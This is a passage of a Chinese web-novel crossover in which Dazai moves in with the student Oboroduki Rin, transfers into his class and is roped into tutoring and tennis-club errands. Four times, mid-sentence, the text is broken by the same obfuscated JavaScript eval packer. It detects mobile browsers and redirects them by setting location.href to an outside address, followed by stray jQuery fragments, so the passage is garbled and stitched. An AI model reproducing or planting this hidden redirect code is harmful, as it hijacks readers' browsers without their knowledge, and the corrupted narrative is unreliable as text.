当然,还有一个很关键的原因是,中学的大部分比赛要求成绩合格才能参赛……
切原赤也以交付生命般虔诚地道:“前辈,靠你了!”
“啊。”胧月凛郑重点头。
至于太宰治……
“我在工作哦~”他无辜地说。
好吧,辍学儿童。
横滨的环境在那儿,辍学儿童确实不少,三人表示理解。
于是,太宰治在客厅用着切原赤也随身携带的游戏机打电动,另外三人认真学习,氛围倒也还算和谐。
过了不知多久,胧月凛再次抬头时,指针已过九点。
胧月凛总结:“时间不早了,洗洗睡吧。”
……
因为偶尔会有朋友来做客,胧月凛准备的一次性洗漱用品数量蛮多,他从柜子里找了两套给仁王和赤也,想想,又翻出另一套洗漱用品,准备放在洗漱台。
切原赤也问:“前辈?是不是拿错了?这个不是一次性用品吧。”
胧月凛思考了下,保守地说:“太宰要借住一段时间,用正常装方便些。”
切原赤也似懂非懂地点头,先去洗漱。
一旁一直没有说话的仁王雅治悄悄探头去看太宰治,比他们几个矮了近一头,疑似发育不良的少年盘腿坐在客厅沙发,专心执着地打电动,不闻外物。
仁王雅治戳胧月凛。
赤也那个傻孩子走了,这会儿相当于他和胧月凛独处。
担心对方听到,仁王雅治压低声音:“你捡的?这个太宰……看起来可不简单。”
“不是,”胧月凛简单解释,又说:“没关系。”
“puri~”仁王雅治也只是提醒,见胧月凛心中有数,不再说什么。
洗漱完,就到睡觉的时间了。
经过各方充分发表并交流意见后,胧月凛被正式通知和太宰打地铺。
最后,作为客人的仁王和赤也睡床。
“……差不多也猜到了。”
胧月凛无视太宰,径自从衣柜上方取下一套家居服,是T恤短裤的搭配,整体宽松,很适合当睡衣。
从太宰治的角度可以看到,他踮脚去上层衣物时,上摆翘起一角,露出一截纤细的腰,毫无防备的模样。
他一时间没有动作,这在拿着衣服的胧月凛看来就是不想让他走。
胧月凛深吸一口气,克制地说:“我先去洗漱。”
太宰治怨念地拖长音:“诶——”
“放我出去!”
一番混乱之后,太宰治暂时安分下来。
胧月凛已经做好洗漱完,铺两床被褥才能睡觉的准备,回来后太宰治居然铺好了。
此时他懒洋洋趴在靠近门的那床被褥,面前摊着一本书,撑着下巴,有一搭没一搭地翻页,时不时晃晃脚,看上去很是悠闲。
胧月凛没打扰他,关上房门,从太宰脚后的位置绕过去,坐在里面那床。
今天是固定的洗头日,他头发长,吸水性好,擦起来也更久一点。
胧月凛准备了两块毛巾用来擦干。
太宰治不清楚胧月凛为何会留这么长的头发,但能看出胧月凛很爱惜。
垂下来的黑发遮住他大半张脸,只能从晃动的缝隙中偶尔得见,少年抿起唇,用最温柔细致的手法,一遍遍擦拭。
胧月凛擦干头发后,太宰治还在全神贯注地看着杂志。
他也顺着视线看了眼。
“……并非所有流浪者都迷失了自我。*”
“凛酱听过这句话?”
“太宰,”胧月凛提醒:“你看的书,来自我的书柜。”
潜台词便是:书柜里有什么书,他一清二楚。
太宰治意有所指地感叹:“这些书凛酱全都读过吗?真是厉害……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486884|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“其实你想问什么,不需要旁敲侧击。”胧月凛打断他,“只要能说的,我会告诉你。”
太宰坐起身,看胧月凛:“倒真有件事想问凛酱。凛酱刚刚说以为我自己……自己什么?”
“就是你想的那样。”
确如刚才所说,胧月凛很坦诚,“我的判断是你不适应和他人一起睡,所以提出去睡客厅。”
太宰治反倒是什么也不说了,刻意挂在脸上的淡笑消失,垂下眼睫,显得人阴郁又沉闷。
又等了会儿,确认太宰治没有要说的话。胧月凛躺好,盖好被子。
“先睡了,自便。”
太宰治被胧月凛毫不内耗的行为搞沉默了。
他坐了很久,不知道在想些什么。最后才起身,抬手把灯关掉,房间里顿时变暗,他躺在床上,闭目养神。
过了会儿,他听到一些窸窸窣窣的声音,睁开眼。
卧室门没有关紧,露出一条缝,胧月凛找了一晚都不见踪影的黑猫,在黑暗中亮起鸢瞳,从门缝露出,默默注视着太宰治的动作。
是那只瞒着胧月凛,和他在主卧橱柜打了一架的猫。
一人一猫对上视线,两双鸢色眼眸交错一瞬。
很晚了,他不想吵醒室友。
太宰治翻了个身,面对胧月凛。
幼猫挤进门里,也很快调转猫头。
猫咪拥有天然的减震垫,走起来轻盈无声,它径自跃过太宰,跳到胧月凛肚子上。胧月凛睡得很死,幼猫又轻,即便被撞了下,也只是皱皱眉头,没有醒来。
倒是幼猫看到太宰的视线从胧月凛转移到自己身上,施施然翘起尾巴,彰显地位似的,一屁股坐在胧月凛脸上,不动了。
……
…………
胧月凛醒来时,迷迷糊糊的,完全没有睡饱的神清气爽。
他抓抓头发……总觉得昨晚睡得很沉重,这样的现象持续好几天了,一直没有缓解。
或许应该找个时间,用一天的时间来好好休息。
清醒后看了一圈,胧月凛发现室内空无一人。
仁王雅治和切原赤也需要参加网球部的晨间训练,早早就走了。
只是没想到,太宰治也不在,不过挂在玄关备用钥匙不见了,应该是被他拿走了。
胧月凛看看时间:“才七点……太宰的工作,居然要这么早起吗……”
倒是昨天一直躲起来的幼猫,此刻侧卧在猫窝里,时不时晃晃尾巴,看起来心情还好。
胧月凛立刻被猫吸引。
“小黑,怎么样了?”
胧月凛蹲到幼猫面前,没有伸出手去碰。他还记得昨天小猫很抗拒。
幼猫一如既往地沉默,倒是卷纸被它堆在窝里,似是不再宠爱。
胧月凛仔细地打量着它,看上去是没什么问题:“抱歉……今天也要把你自己留在家里了,虽然有点担心,可也没办法。”
“不过放心吧,等到周末,我就有时间陪你了。”
猫没回应。
小黑一向高冷,胧月凛对此习以为常。
昨天的猫碗已经空了。
胧月凛再次检查猫猫的饭盆和水盆,确认自动出食器和饮水机运行正常,犹豫了一下,最终还是掏出几卷新的卷纸放在窝旁。
之前为小猫准备的玩具,它基本不感兴趣。只是喜欢玩卷纸而已……应该也没什么?
5. 第五章
第五章正版@晋江文学城
——
一切做好后,差不多也到了上学的时间。
因为现在是两个人住了,胧月凛便多备了一份午餐,并顺手把它放在餐桌最显眼的位置,然后拎着自己那份便当,步伐快快地出了门。
——今天比平时晚出门三分钟,要快一点才有可能赶上公交车。
相比起海风略带腥咸湿润的气息,雨后的味道会更清爽些,虽然确实很冷。
为了赶路,胧月凛抓紧书包,一口气跃过几个积水滩,狂奔到站牌时,公交车刚走。
胧月凛裂开了。
“下一辆车要十分钟后才来……没办法,只能赶新干线了。”
上班时间的新干线,拥挤的沙丁鱼罐头。
胧月凛表情凝重,将书包紧紧裹好,又确认没有什么能被挤掉的挂饰,埋头冲进新干线。
一个胧月凛进去。
一片胧月凛出来。
好险,没有迟到。
付出校服皱巴巴,毛发凌乱的代价,胧月凛成功来到教室。
胧月凛颓废:“……这就是没有准时出门的代价吗?”
后桌传来声音:“胧君,今天来得这么早?”
那是名女生,叫米里一。立海大新闻社平平无奇的小记者。
胧月凛回头去看她:“?”
“有啊。”
米里一掏出一块表,给胧月凛看,的确比他平时早了几分钟。
“事实上我呢,整理过咱们班同学的家庭住址和上学路线……”后面的话米里一不说了,一切尽在不言中。
“况且胧君你平时坐的车,不是这个时间吧。”
“嗯,坐的是……”
“先不要说,让我来猜一下,是新干线吧。”说是猜测,米里一语气却很笃定。
胧月凛真心赞叹:“米里君猜得很准,不愧是新闻社的王牌,一定能完成梦想,成为厉害的记者。”
米里一很开心:“就喜欢胧君你这样擅长夸人的类型~那就免费送你个消息吧,据说今天会有位新同学哦。”
米里一消息一向很准,听到这句话的同学纷纷好奇地涌上来。
“新同学?”
“什么时候来?”
“男生女生?长得怎么样?”
“是运动系吗?还是文艺少年?”
看得出来,青春期的大家关注点都很一致。
米里一被众人围在重心,反倒没有骄傲。
目标是记者的她,除去探知消息外,当然也关注过记者的职业道德素养。
米里一没打算把别人的隐私公之于众,哪怕是还未见过的同学,轻易地用其他话题转移了大家的注意力。
反倒是胧月凛对这个消息不是很感兴趣,见米里一被众人团团围住,从桌洞里翻出第一节课要用的书,打算提前预习一下。
今天的第一节课……
“是生物啊。”
胧月凛闭闭眼。
算是优等生的胧月凛,唯一不擅长的科目便是生物,几次被生物老师暗中询问是否是对他有意见。
然而,并不是那么简单的问题。
胧月凛脑海中的世界,与常人并不一致,具体很难形容。
他翻开课本,这节内容是动物的生理结构。
胧月凛每次看到这样的讲解,脑海中总会冒出一些……超越人体限制的想法。
比如说生搬一座大楼,人身顶着马脑袋之类的场景。
“……虽然不太现实……不过总是难以忘记……”
这会儿米里一已经打发走了其他同学,看胧月凛愁眉不展的模样,米里一眼睛一转,掩住嘴。
“哎呀,差点忘记了,胧君你是生物苦手。我应该告诉你的不是转学生,而是生物押题宝典。”
“米里君……你是故意的。”
“胧君直觉很敏锐呢,”
米里一转移话题,拉拢:“真的不加入新闻社吗?相信我,新闻社一定是可以发挥你才能的地方。”
胧月凛:“你的真实意图暴露了。”
“puri~”
仁王雅治刚回教室,便听见这句。
仁王雅治顺手摸了下胧月凛的脑袋,说:“别想了,胧早就是网球部的人了。”
米里一不屑:“我邀请胧君时,他还没加入网球部好吧,要论起来也该是先到先得,是你们从中作梗!”
两人就这个话题再度争执起来。
身为一位成熟的DK,胧月凛不想参与这么幼稚的话题,尤其是他们话题中的争执对象是自己时。
……总有种被莫名争抢的既视感。如果按照电视剧的套路,他此刻或许该插入其中,劝架说“你们不要再吵了”
……算了,还是先预习。
胧月凛挥挥散脑内出现的奇怪想法。
就在两人打嘴仗,胧月凛学习量子速读生物课本,企图将知识塞入脑海时,时间过得飞快。
生物老师如期而至。
然而,老师并没有开始讲课,反倒是在大家疑惑地看着老师时,笑容满面地拍了拍手——?
卖关子吗?这个有点兴趣哦。学生们只要不上课,做什么都会觉得有趣。
只是上课时间很宝贵,老师的关子没卖多久,就揭晓答案。
“今天会有一位新的同学加入我们~”
“欸——???好突然!”
在大家的震惊和面面相觑中,胧月凛突然想起米里一告诉他,却被自己当耳旁风掠过的那句话。
“最近要来新的转学生哦?”
——这个最近,未免也太快了吧!
而且,刚刚沉浸在知识海洋中,所以被隐隐忽略的不安感,仔细想来似乎很是熟悉,和昨天睡醒看到某位太宰后的感觉……有些相似?
与此同时,从门外逐渐露出全貌的,穿着立海大校服的某个卷毛,将胧月凛的不安化为现实。
胧月凛缓缓睁开眼睛。
老师说了什么,胧月凛完全没有听到,回过神来后,便是讲台上,某个消失了一早的人,介绍结束。
“以后就请多多指教了。”
分明是句再普通不过的开场白,但因为太宰身上兼具忧郁与活泼两种气质,也引起同学的热议。
大家纷纷感叹:包括他缠在身上的绷带,也是话题感满满的属性啊~
他们立海大还是第一次出现这种风格复杂的帅哥,就连老师也对这位新同学感到非常好奇,放任太宰治的表演。
一时之间师生和睦,课堂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486885|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
氛围热烈。
胧月凛的心,缓缓停跳。
仁王雅治在一片嘈杂声中,默默地戳胧月凛:“真不是情债?”
旁观者清,他觉得这位太宰治真的很黏胧,根本就不是朋友该有的界限。
一个人对陌生人殷勤以对,不是求财,便是求色。而胧月凛的资金状况,仁王雅治多少知道一些。
所以还能是什么?
胧月凛:“……”
胧月凛移开视线,吐槽:“…………仁王,你真的很喜欢戳我。”
“puri?”
在仁王雅治写着“你在转移话题”的眼神中,胧月凛垂死挣扎地反问:“就不能是辍学儿童被感染,认为自己也该重返校园吗?”
仁王雅治坐直。
他觉得胧月凛现在的想法就挺好,就当自己什么也没提醒过好了,他最好一直拿这个当理由,永远都不要直视太宰治。
“太宰同学就先坐到靠窗最后一排吧,靠窗的同学们向前挪一下,给新同桌腾点空出来。”
老师的话打断了二人交流。
胧月凛也坐在靠窗那排,他随大流地向前推了下桌子,和仁王雅治的距离也增加了半个身位。
太宰治向后走时,胧月凛正弯腰捡掉到地上的橡皮,没注意到太宰看自己时饶有兴致的眼神。
老师拍拍手唤回学生们注意力,见到帅气转校生的兴奋该结束了。
“好了好了,同学们拿出课本,现在开始上课。”
这才是学生该做的事啊。
胧月凛再次翻开课本。
……总算熬到下课。
胧月凛瘫软在桌。
临近考试,老师在讲试卷,大题是胧月凛最不擅长的类型,他听得十分煎熬,昏昏欲睡。
仁王雅治戳他:“……你听懂了吗?”
胧月凛眼神死:那当然是没听懂了。
“puri~”
仁王雅治偏科也很严重,生物也是他不擅长的。
胧月凛暂时不想面对,无力道:“换个话题吧。”
“哦,那太宰……”
“不,还是聊学习吧。”
“你看太宰。”
“……?”怎么又是太宰。
胧月凛无奈,但还是顺了仁王雅治的意,回头去看。
胧月凛坐在靠窗倒数第三的位置,和太宰治之间隔着后桌米里一。
此时米里一正转过身与太宰聊天,胧月凛知道,米里一是职业病犯了,试图打听些什么。
刚认识时,米里一也对他做过此类行为。
胧月凛看到太宰噙着笑,状态游刃有余,两个人聊得很投机,太宰治好像没注意到胧月凛在看他。
胧月凛竖起耳朵。
听着听着,他发现,米里一是借着讲题的理由和太宰搭话,而且讲的是那道他毫无头绪的压轴题,只是这么听了几句,他甚至觉得太宰的讲解比老师上课还要易懂……
“太宰君,你好厉害啊~长得帅,人还那么聪明~”
米里一夸了几句,满意地拿着卷子回头,胧月凛瞬间恢复坐姿,佯装无事发生。
胧月凛和仁王雅治对视一眼。
坏了,是好学生。
岌岌可危的名次又要后退。
6. 第六章
第六章正版@晋江文学城
——
……
网球场,几人围在榕树下窃窃私语。
“所以,你们烦恼的是,如果转校生成绩太好把平均分拉高,期末考很可能不及格?”
丸井文太听完仁王雅治的倾诉,总结。
胧月凛在一旁点头,心有戚戚焉。
立海大的及格分数线是按照班内学生的平均分来划定,因此一位显然会考取高分的转校生,绝对会拉高平均分。
其实对于大多数同学来说,这几分的差距可以忽略不计,可胧月凛……本就擦边而过的他,完全无法忽视!
仁王雅治还可以胁迫柳生cos他替考,而胧月凛……
他为自己的行为感到懊悔,之前有眼不识泰山,以为太宰治是个没上过学的问题儿童,没想到对方只是不在学习,其实成绩不错……
胧月凛还挺需要辅导的,至少不要让成绩单变成一片红,因为他没有家长可叫。
他闭了闭眼,呢喃:“现在回头还来得及吗?”
柳莲二出现:“什么来得及?”
胧月凛睁眼一看,仁王和丸井已作鸟兽散,嘿咻嘿咻地做起热身来。
胧月凛想了想,总结:“最近认识了个成绩不错的人,我该怎么让他同意辅导我的功课?”
辅导功课,胧月凛。
两个词结合在一起,柳莲二险些维持不住风度。
其实网球部成绩好的人不少,可能拯救胧月凛的概率是:0.01%
至少柳莲二是不想面对,他宁愿教赤也英语。
其实胧月凛不笨,各个科目成绩都还行,唯有生物一科徘徊在挂科边缘,满脑子奇思妙想,教也教不会。
他甚至就人会长耳朵这种类反常识问题大谈特谈,并信誓旦旦,有理有据。
……扯远了。
柳莲二拉回思绪,他思索一下,用胧月凛能听懂的话解释:“投其所好。”
“投其所好……?”胧月凛思索。
他把视线向后移,花坛里正蹲着一只太宰,因为个子不算太高,只有在一片绿色中,黑色的一块露出了破绽,是太宰治的脑袋。
太宰似乎感觉到了胧月凛的注视,伸出一只缠着绷带的手挥挥,又很快缩回去。
胧月凛若有所思:“他的爱好是跟踪我。”
柳莲二疑惑:“……跟踪?”
“对啊。”
胧月凛突然想通了什么,声音也变得轻快起来:“我来网球部前,他就在这里蹲着了。”
“应该是要跟踪我吧,我不太确定。你知道的,这没什么。”
柳莲二:“……不,这很有什么。”
柳知道胧月凛缺乏边界感,不懂如何与人保持适当的距离。
但跟踪?这太超过了,这不是同学间应有的社交距离。
不过是胧月凛的话,一切似乎有迹可循。
柳莲二突然:“……还记得我们的第一次见面吗?”
“诶?”
胧月凛思索过后,说:“是一年级社团招新的时候?仁王要求我一定要去网球部参观一下,碰巧看到你。”
不对。柳莲二在心中否认。
他看了眼胧月凛,少年沉思时,瞳孔比往常要更深一个色号,可以很明显地辨认出那种,语言几乎无法形容,宛如只存在于幻想之中的色彩,虚幻而不实。
……作为普通人而言,胧月凛的瞳色确实罕见,或者武断地说,是人类瞳孔中,不可能存在的颜色。
可作为非人类的存在,一切就变得合理起来。
都不是人了,什么可能都会有吧。
……
柳莲二回忆起第一次见到胧月凛时的情景。
是在校外,升高等部前的暑假。
记忆中是个街心公园,胧月凛蹲在地上和幼稚园生玩耍,神态语气和小孩儿很像。
起初,柳莲二还以为对方是在陪家里的孩子玩耍,可仔细观察后,胧月凛不是在“陪伴”,是“模仿”。
他模仿儿童的思维,与他们玩耍,就像一面镜子,看到什么,便照映出什么。
柳莲二最初判断他是名精神疾病患者,可胧月凛在以超乎想象的进度成长为“常人”
如果让柳莲二来形容,他像是ai一般,出厂时一片空白,而后以极快的速度吸收并分析所能见到的一切,逐渐“正常”
柳莲二没有见过妖怪,可身处日本这拥有八百万神明的国度,接触过许多相关传说,自然想到了诸如“化猫”一类,由妖怪变人,混迹在人类中的故事。
谨慎起见,柳莲二并未第一时间叫破胧月凛的真实身份,而后几次,柳莲二刻意路过,发现胧月凛越来越像一个“人”
可只是“模仿”,能做到吗?
柳莲二不知道。
但他的判断告诉自己胧月凛并不是一位“坏”的存在。
柳莲二将其当做是一场特别的邂逅,从未与他人提起。
没想到的是,柳莲二升入高中部后,居然再一次见到了胧月凛,也是那时,他才知道了胧月凛的名字。
“柳觉得不是?”
胧月凛打断柳莲二思绪,柳莲二点点头。
即便不算街心公园的初见,他们的正式见面也并非在网球部。
“难道是在……”
两人同时开口,而后柳莲二停下,让胧月凛先说。
胧月凛问:“是那次我被不良少年借钱吗?”
他的记忆力向来不错,现在回想起来,有可能见过柳却几乎没印象的事,只有刚入学,一群可以形容为“不良少年”的陌生人围着他讨钱时,喊来警察的那次吧。
胧月凛百忙之中,只看到了那位不知名的好心人的一片衣角,看校服,是同校的。
他之前没往那上面想过:“不过现在想起来,是柳吧……那位帮我喊来警察的人。”
如果说两人正式的初次见面。
“的确是那次,”柳莲二神色平静,“如果不是警察的到来,胧,你真的会把钱给他们,对吗?”
“……唔,”胧月凛思索片刻,有点疑惑地问:“其实我觉得没什么?”
“金钱什么的,只是身外之物吧。”
胧月凛语气理所当然,“既然想要,给他们也无所谓。”
正是胧月凛这类与世俗截然不同的,才隐隐约约透露出他非人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486886|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那面。
柳莲二闭了闭眼。
算了,至少胧月凛很认真地在作为人类生活。
因为是唯一知道他妖怪身份的人,柳莲二对他有种莫名的责任心。
但胧月凛毕竟是非人,平日里相处还看不出什么,可一旦面对某些突发事件,尤其是暴力、跟踪、欺凌这类恶性事件时,他的反应和态度,的确是与常人大相径庭。
况且胧月凛在这方面的破绽其实不少,但有柳莲二这个被动知情人在,基本都被他遮掩过去了,连仁王这类细心的人都没有察觉。
可换个角度想,柳莲二也不是不能理解胧月凛的所作所为,像是非人类的存在,大多生活方式会更加特别。
金钱只能在人类社会使用,而人类的武力对非人来说也算不上威胁。
柳莲二不觉得自己是在找借口,他只是觉得,胧月凛做人类还是很努力的,有一点小差异也无可厚非,而且他又不是不会进步……
“不过现在想想,”
胧月凛悻悻地说,“真的很感谢柳,那笔钱足够我小半年的生活费了。”
是的,就是这样肉眼可见的进步。
而胧月凛想要的是什么?
不过是拜托舍友帮忙补习罢了,柳莲二不讲道理地替太宰治同意了。
当然,也不是完全忽略对方的意见,可柳莲二看那位名叫太宰的家伙,确实对胧月凛别有所图的样子。
既然如此,吃点辅导学习的苦,也不会怎样。
柳莲二:“你说的人在哪里?”
胧月凛指向花坛。
柳莲二将脸转向胧月凛指向的方向,惯常眯起的眼睛半睁。
半晌,他问:“黑发那位?”
立海大网球部一向出色,临近比赛,暗中来偷窥网球部动向的人不少,此刻几个小型花坛中默契地均匀分布了许多枚彩色脑袋,实在难以分辨。
“嗯,”
胧月凛点头,“柳想认识他,对吗?”
胧月凛目标明确,速度快得柳莲二没有来得及抓住他,只眼睁睁看着胧月凛径自走向太宰并呼唤对方的名字。
跟踪也挺好的——胧月凛真心这么认为。
有所求的,就有破绽,他完全可以和对方互利互惠。
“太宰~”
胧月凛边走边喊,周围的几人察觉有人经过,紧张地瑟瑟发抖,还好这个经理只是路过,没有把他们揪出去示众,彩色脑袋们松了口气。
胧月凛低下头,刚刚离得有多远,他又不是很高,因此走近后才发现,太宰是以一个奇怪的姿势蹲在花坛中的。
胧月凛好奇:“在做什么?”
“这个么……”
太宰没有正面回答,呼呼地笑。
“凛酱听说过榕树精灵吗?”
“事实上我正在观察,对对就是那里,听说每经过七年七月七日的轮回,榕树会在逢魔时刻的七点整浮现出一张人脸哦,这就是传说中的榕树精灵。”
“真是不可思议啊……莫非是昨天下过雨后水能量充沛,还没到时间榕树精灵就出现了~”
“快看快看!它居然从树上走下来了,居然还是黄色的眯眯眼形象——”
7. 第七章
第七章正版@晋江文学城
——
活动室。
脸色平静的柳莲二、莫名心虚的胧月凛、校医。
以及双手交叉,安详躺在长凳上的假死太宰。
校医镜片晃过一道白光,率先询问家长:“柳同学,这位病人……年龄几何?”
柳莲二平静地:“根据入学名单所写,十五周岁零三个月。”
校医:“puri~”
校医在本上奋笔疾书,胧月凛凑过去看了眼。
内容是:
年龄十五,性别不详,智商波动,认知底下,嗜好乱吃,疑似生啖菌类中毒,经搜寻为树下不明品种,雨后随机滋生。
诊断结果:治不了,等死吧。
随后,柳莲二和仁王雅治转移视线,统一面向胧月凛。
盯——
胧月凛:“……”
胧月凛:“………………”
胧月凛不想独自一人面对狂风暴雨,然而柳和仁王抢救了半天,太宰治还是没有醒来。
……胧月凛决定做最后一次努力,他悄悄伸出手试图戳太宰治,还没等他接触到太宰治,一直装死的太宰突然弹射坐直,并挥舞双手,不着痕迹地躲避掉和胧月凛的肢体接触。
太宰手舞足蹈:“啊嘞嘞?这是哪里……”
胧月凛:“是活动室。”
仁王雅治:“校医室。”
胧月凛:“是校医室。”
太宰治:“原来是活动室——”
胧月凛:“不,是校医室。”
太宰治:“到底是什么室呢?”
胧:“室废话。”
仁王:“室废话呢。”
柳:“这两句也是废话。”
“所以,”
柳莲二打断话题,撕下账单,“这是急救、洗胃、挂水的账单,麻烦太宰同学补缴一下医疗费。”
太宰治:“好的呢。”
他拿出手机,打开扫一扫,添加line,联系人胧月凛,点击转账。
进度条加载了一会儿,跳出支付页面。太宰治输入密码,屏幕闪烁一下后,缓缓跳出一行字:您的余额已不足,请换卡支付。
太宰治又掏掏口袋,确认钱包失踪。
他脸色一变:“咳咳,医务室提供分期付款或赊账服务吗——”
胧月凛试图解围,说他来付好了,反正债多了不愁,而且他确实有求于太宰,他还没忘记补课的事呢。
然而,胧月凛的行动被早有准备的仁王雅治强制禁言,仁王收回拍到胧月凛脸上的账单,柳莲二自然接上:“用劳动力换。”
太宰治眼中闪过一道诡异的光:哦?
太宰治本身就打算在网球社做些什么,或者说此刻柳莲二的反应正由他暗中促成。
太宰治笑道:“可以呦~那么请问……需要我做什么工作呢?”
……
最后,太宰被安排辅助网球社经理工作,也就是胧月凛的助理。
柳莲二和仁王雅治已经在胧月凛这儿耽误了不少训练时间,事情解决后就抓紧时间回去了,留下胧月凛和太宰治在活动室。
胧月凛为太宰介绍工作内容:“除了日常记录训练情况之外,网球社最重要的工作——”
“是采购。”
“你看。”
胧月凛推开活动室的门,外面是占地面积不小的室外网球场。
每一个场内都有不少人在练习挥拍,可以看出网球部人员众多。
属于运动少年的跑跳声、汗水的气味,以及那种每个人脸上的所谓“梦想”和“希望”,让太宰治不适应极了。
胧月凛看了他一眼,边说,边带着太宰治离开。
“部员众多,大家训练起来又特别努力,所以耗材磨损飞快,需要时常更换才行。”
“这是要每天清点和补充的部分耗材,”胧月凛把前几天的清单递给太宰治。
太宰一眼锁定目标:“绷带?”
“绷带?”
胧月凛思索着,“你是说医疗绷带吗?嗯……最近用量还好,不过确实要备货了。”
过段时间肯定会使用量暴增。
运动类大型赛事一般都会在学期末举行,今年通知还没有下来,不过想来也快了。
至少立海大这边他已经和柳制定了冲刺计划,以及……考前辅导和被辅导人选。
其中一个就是被“拐骗”的太宰治。
柳莲二虽已经和太宰治进行了什么私下交易,但谈起这个,胧月凛眼神中仍是透露出一些心虚。
“这些是经理的工作,但太宰你只是临时打下手,跟着我做就行。最重要的是……”
“帮助网球社的不及格人员补习?没问题哦。”
太宰的干脆利落让胧月凛松了口气。
“不过……”
胧月凛屏息:“不过……?”
太宰突然想戏弄对方:“有个小小的不情之请,事实上呢……最近很需要一些绷带开销方面的赞助。”
……
清点完后,胧月凛去购买耗材,为了绷带,太宰也一起跟来了。
在太宰治的强烈提议下,第一站是药店。
然后现在,
胧月凛看着太宰,太宰无辜地拖着两个个麻袋,麻袋中是药店全部的绷带储存,旁边站着笑得合不拢嘴的大叔。
大叔:太好了,他的库存终于清空。
“。”
胧月凛静静地看着太宰治。
“凛酱~”
“太宰,”
胧月凛掏出钱包,展示余额。
他认真地说:“虽然承诺了给你买绷带,但现在钱不够。”
所以等他一会儿好吗?他找人借。
“……”
胧月凛居然真是这么想的,他是在认真践行承诺,无论自己的行为有多么无理取闹。
太宰治突然觉得没意思极了。
“……”
他早就习惯了用谎言来伪装自己的真实意图,也不觉得自己该被真诚以待。
胧月凛这种对谁都会信任的家伙……糟糕,糟糕透了。
“我只是开玩笑的哦~?”
太宰治从麻袋中拿出两卷绷带,在老板大叔的目光下施施然扫码,离店,留下一句:“凛酱,结账吧~”
老板大叔如梦初醒,便要追出去:“……哎!我好不容易才搬出来!你耍我呢?你说不要就——”
“……”
太宰治的背影停留在店门外,安静的一个瘦削身影,看起来很乖地等待着胧月凛。
胧月凛一时无话。
按照常理,这种时候应该拉住老板表示歉意,然后带着太宰离开吧?
但胧月凛不想这么做。
“老板,”胧月凛拉住药店老板,“不好意思,我会买。”
胧月凛从兜里掏出一条饰品,价格足够抵消绷带并绰绰有余:“绷带就送到xx公寓那边吧,这个是押金,过几天我来赎。”
“……好吧好吧,”
这批绷带继续留下去,他损失就更大了。
“我也不是故意难为你们小孩子!但店里确实没有赊账的说法,不过东西我会替你好好保管,等你来赎。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486887|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“喏,这是我的名片,上面有联系方式。看校服,你是立海大的学生对吧?留一下地址,如果你没时间过来,我找人跑一趟,一手交钱,一手交货。”
“嗯。”胧月凛点头。
购买结束,胧月凛推门去找太宰。
太宰治头也不回地问:“结束了?”
他倚在墙边避光屋檐下,手中无所事事地捏着两卷绷带,上下来回翻动。
腾挪间,塑装袋吸收日光,细碎地折射在太宰脸上,他眸底间或闪过亮光,不达眼底。
太宰治没有关注店里的一切,似乎什么都没在想,却本能地从脚步声中听出是胧月凛。
是个感官灵敏的人呢。
因为过分敏锐的感官系统,会让他们听到更多被忽视的、细微的声音。
因此,这类人更容易从世界中观察到更多讯息。
胧月凛认真地看着太宰的动作,突然说:“太宰,你一定很会转笔。”
他羡慕仁王雅治的转笔技术很久了,可惜自己一直没有学会。
“哎——你想说的就是这个?”
太宰把绷带塞进口袋,掀起眼帘,扫过胧月凛。
——对太宰治喜怒无常的态度,他似乎毫无反应。
胧月凛没有就绷带的事再次解释什么,顺着太宰治的话题,说道:“你有想听的话?我可以说。”
太宰嗤笑,双臂交叠脑后,起身迈步:“算了,继续采购吧~”
“嗯。”
“但是……你走错路了。”
……
“老板,那么就这样说定了。”
网球店大叔赞叹:“同学你真是了不起……生意做了这么多年,你是第一个能从我手里能拿到成本价的。”
哼哼~
胧月凛嘴角翘起。
经过长达一年多的求生训练,他可是能很好地照顾自己了,提高生活质量的砍价能力也包含在内。
“大叔你也不错,以后我会多来光顾。”
胧月凛寒暄两句,一手提一袋网球,潇洒转身。
“走吧太宰。”
